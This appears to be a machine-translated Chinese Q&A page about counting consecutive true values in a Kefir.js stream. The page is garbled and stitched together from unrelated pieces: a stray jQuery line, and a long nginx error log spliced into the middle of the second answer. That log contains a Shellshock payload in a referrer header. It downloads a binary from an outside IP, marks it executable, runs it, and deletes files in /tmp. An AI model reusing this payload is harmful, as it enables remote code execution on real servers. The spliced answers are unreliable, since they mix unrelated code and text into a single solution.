反应式编程 - N秒内的值大于X.

时间:2015-05-12 08:36:46

标签: javascript reactive-programming

我有一个流randStream,它每半秒发送一次随机值,boolStream将值从randStream转换为布尔值。

let randStream = Kefir.fromPoll(500, () => Math.random())
let boolStream = Kefir.map((rand) => rand > 0.5)

我想在true发出boolStream 5秒钟后(连续发出)发出true。否则emit为假。

我正在使用Kefir.js库。

你有什么想法吗?感谢。

2 个答案:

答案 0 :(得分:1)

很抱歉,我还不能写ES6,但是...的想法是,如果你的原始流每半秒采样一次,那么true连续5秒就是5秒,右边?

// generate random numbers
var randStream = Kefir.fromPoll(500, function() {
  return Math.random();
});

// make into booleans
var boolStream = randStream.map(function(rand) {
  return rand > 0.5;
});

// count trues in a row
var trueStreakStream = boolStream.scan(function(numTrue, curr) {
  return curr ? numTrue + 1 : 0;
}, 0);

// see when there's exactly 11 of them
var elevenTruesStream = trueStreakStream.filter(function(numTrue) {
  return numTrue == 11;
});

// react
elevenTruesStream.onValue(function(numTrue) {
  console.log("five seconds of true!");
});
编辑:我刚刚再次阅读你的问题;如果你想要一个true的流,如果你的最后5秒都是true,那么请使用map代替filter(和>=而不是== var lastElevenAreTrueStream = trueStreakStream.map(function(numTrue) { return numTrue >= 11; }); ):

$(".dissable[value='3']").prop("disabled", true);

答案 1 :(得分:1)

根据给定的条件,当您知道2015/05/12 14:06:52 [crit] 15290#0: *179 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 14:08:31 [crit] 15290#0: *183 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 14:09:21 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 14:09:25 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:09:28 [crit] 15290#0: *186 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*" 2015/05/12 14:12:47 [crit] 15290#0: *191 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*" 2015/05/12 14:12:58 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*" 2015/05/12 14:12:59 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 14:13:05 [crit] 15290#0: *193 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:13:05 [crit] 15290#0: *196 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:13:30 [crit] 15290#0: *199 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:13:32 [crit] 15290#0: *199 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:14:15 [crit] 15290#0: *203 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:14:27 [crit] 15290#0: *206 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:15:22 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:15:23 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /ar HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/ar", host: “*.*.*.*" 2015/05/12 14:15:29 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 14:15:30 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 14:15:32 [crit] 15290#0: *209 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*" 2015/05/12 14:31:11 [crit] 15290#0: *216 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*" 2015/05/12 14:44:59 [crit] 15290#0: *218 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: “*.*.*.*" 2015/05/12 15:07:03 [crit] 15290#0: *221 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /cgi-bin/bash HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/cgi-bin/bash", host: “*.*.*.*" 2015/05/12 15:43:44 [crit] 15290#0: *223 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET / HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/", host: "*.*.*.*", referrer: "() { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://182.92.184.208:8806/zou1 -O /tmp/China.Z-qmpz >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-qmpz >> /tmp/Run.sh;echo /tmp/China.Z-qmpz >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh”" 2015/05/12 16:10:04 [crit] 15290#0: *225 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: “*.*.*.*" 2015/05/12 16:35:10 [crit] 15290#0: *229 connect() to unix:/tmp/unicorn.testapp.sock failed (2: No such file or directory) while connecting to upstream, client: *.*.*.*, server: mysite, request: "GET /en HTTP/1.1", upstream: "http://unix:/tmp/unicorn.testapp.sock:/en", host: "*.*.*.*" 发出数字的确切比率时,使用randStream很容易实现:

.slidingWindow

如果您希望它适用于任何事件发生率,您可以尝试以下方式:

let result = boolStream
  .slidingWindow(10, 10)
  .map(items => _.every(items))
  .skipDuplicates();